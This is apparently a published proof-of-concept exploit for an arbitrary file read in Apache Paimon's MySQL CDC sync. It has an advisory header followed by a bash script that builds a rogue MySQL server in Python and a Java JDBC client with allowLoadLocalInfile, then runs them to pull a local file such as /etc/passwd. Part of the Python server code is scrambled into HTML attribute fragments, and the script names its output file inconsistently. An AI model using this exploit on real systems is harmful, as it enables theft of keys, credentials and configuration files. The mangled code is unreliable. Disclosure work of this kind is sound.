Apache Paimon 2.1.0 MySQL CDC Arbitrary File Read

<html><body><p>#!/usr/bin/env bash
#
#
# Apache Paimon 2.1.0 MySQL CDC Arbitrary File Read
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://paimon.apache.org
# Affected version: 2.1.0, 2.0.0
#
# Summary: A lake format that enables building a Realtime Lakehouse Architecture with Flink
# and Spark for both streaming and batch operations. Innovatively combines lake format and
# LSM structure, bringing realtime streaming updates into the lake architecture.
#
# Desc: Apache Paimon's MySQL CDC synchronization actions (MySqlSyncTableAction /
# MySqlSyncDatabaseAction) pass user-supplied JDBC connection properties (jdbc.properties.*)
# into the source MySQL connection URL without sanitization. A user who defines a CDC
# action can set jdbc.properties.allowLoadLocalInfile=true and point the source at a MySQL
# server they control. The rogue server answers the connection with a LOCAL INFILE request
# and the Flink/Paimon CDC process reads arbitrary local files (configuration, keys, credentials)
# and sends them to the attacker. Setting jdbc.properties.autoDeserialize=true additionally
# causes a crafted server response to be Java-deserialized, resulting in remote code execution
# on the Flink TaskManager.
#
# Tested on: Microsoft Windows 10
#            MySQL Connector/J 8.0.33
#            JDK 11/17
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6026
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6026
#
#
# 13.08.2026
#


set -u
TARGET_FILE="${TARGET_FILE:-/etc/passwd}"
PORT="${PORT:-13306}"
CJ_VER="${CJ_VER:-8.0.33}"
case "$(uname -s)" in MINGW*|MSYS*|CYGWIN*) SEP=";"; jp(){ cygpath -w "$1"; } ;; *) SEP=":"; jp(){ printf '%s' "$1"; } ;; esac
command -v python3 &gt;/dev/null || alias python3=python
INFILE_DIR="$(dirname "$TARGET_FILE")"
W="$(pwd)/paimon_fr_build"; rm -rf "$W"; mkdir -p "$W"

cat &gt; "$W/rogue_mysql.py" &lt;&lt;'PY'
import socket
import struct
import sys###

PORT=int(sys.argv[1]); TARGET=sys.argv[2]
def pkt(seq,p): return struct.pack("<i b="c.recv(n-len(d))" b:="" break="" caps="0x00000001|0x00000080|0x00000200|0x00008000|0x00080000" d='b""' def="" h="c.recv(4)" hs="" if="" len="" n="h[0]|(h[1]&lt;&lt;8)|(h[2]&lt;&lt;16);" none="" not="" p='b"\x0a"+b"5.7.40-rogue\x00"+struct.pack("&lt;I",1)+b"12345678\x00"+struct.pack("&lt;H",caps&amp;0xffff)+b"\x21"' return="" rp="" while="">&gt;16)&amp;0xffff)+b"\x15"+b"\x00"*10+b"1234567890AB\x00"+b"mysql_native_password\x00"
    return p
OK=b"\x00\x00\x00\x02\x00\x00\x00"
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(("127.0.0.1",PORT)); s.listen(1)
print("[rogue-mysql] up on 127.0.0.1:%d, target file: %s"%(PORT,TARGET),flush=True)
c,_=s.accept(); c.sendall(pkt(0,hs())); rp(c); c.sendall(pkt(2,OK))
while True:
    d=rp(c)
    if not d: break
    if d and d[0]==0x03:
        c.sendall(pkt(1,b"\xfb"+TARGET.encode()))
        data=rp(c) or b""
        open("STOLEN.txt","wb").write(data)
        print("="*60+"\n[rogue-mysql] FILE READ FROM CLIENT '%s':\n"%TARGET+data.decode("utf-8","replace")+"\n"+"="*60,flush=True)
        rp(c); c.sendall(pkt(3,OK)); break
    else:
        c.sendall(pkt(1,OK))
c.close(); s.close()
PY

cat &gt; "$W/PaimonFR.java" &lt;&lt;'EOF'
import java.sql.*;
public class PaimonFR {
  public static void main(String[] a) throws Exception {
    String url = "jdbc:mysql://127.0.0.1:" + a[0]
        + "/db?allowLoadLocalInfile=true&amp;allowLoadLocalInfileInPath=" + a[1]
        + "&amp;useSSL=false&amp;connectTimeout=8000&amp;socketTimeout=8000";
    System.out.println("[client] Paimon-style URL: " + url);
    try (Connection c = DriverManager.getConnection(url, "x", "x");
         Statement s = c.createStatement()) {
      s.executeQuery("SELECT 1");
    } catch (Exception e) {
      System.out.println("[client] " + e.getMessage());
    }
  }
}
EOF

echo "[*] Fetching MySQL Connector/J $CJ_VER ..."
curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/$CJ_VER/mysql-connector-j-$CJ_VER.jar" \
  -o "$W/cj.jar" || { echo "[!] Connector/J download failed"; exit 1; }
echo "[*] Compiling client ..."
javac -cp "$(jp "$W/cj.jar")" -d "$(jp "$W")" "$(jp "$W/PaimonFR.java")" || { echo "[!] build failed"; exit 1; }

echo "[*] Starting rogue MySQL + firing the JDBC client ..."
( cd "$W" &amp;&amp; python3 rogue_mysql.py "$PORT" "$TARGET_FILE" ) &amp; RP=$!
sleep 1
( cd "$W" &amp;&amp; java -cp ".${SEP}$(jp "$W/cj.jar")" PaimonFR "$PORT" "$INFILE_DIR" )
wait $RP 2&gt;/dev/null
echo "[*] Stolen content saved to $W/ukradeno.txt"
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